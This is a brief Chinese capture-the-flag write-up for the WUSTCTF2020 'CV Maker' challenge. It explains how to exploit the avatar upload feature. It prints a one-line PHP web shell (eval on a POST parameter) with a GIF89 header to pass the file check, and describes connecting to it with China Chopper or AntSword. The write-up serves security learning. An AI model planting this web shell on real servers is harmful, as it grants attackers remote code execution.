1、打开之后未发现有用信息,各按钮无法点击,只有注册和登录可以,那就注册一个账户并进行登录,结果如下:
![](https://www.icode9.com/i/l/?n=22&i=blog/2834847/202208/2834847-20220803213858017-41769020.png)
登陆后界面:
![](https://www.icode9.com/i/l/?n=22&i=blog/2834847/202208/2834847-20220803213920823-1551900747.png)
2、界面里就更换头像功能可以使用,那就考的是文件上传了,先随便上传一个脚本文件(右键复制文件地址)并使用菜刀或蚁剑进行连接,结果如下:
上传的php脚本信息:
GIF89
<?php
eval($_POST['x']);
?>
远程连接结果:
![](https://www.icode9.com/i/l/?n=22&i=blog/2834847/202208/2834847-20220803214532176-1359396898.png)
标签:文件,界面,WUSTCTF2020,登录,结果,CV,注册,上传,Maker
来源: https://www.cnblogs.com/upfine/p/16548846.html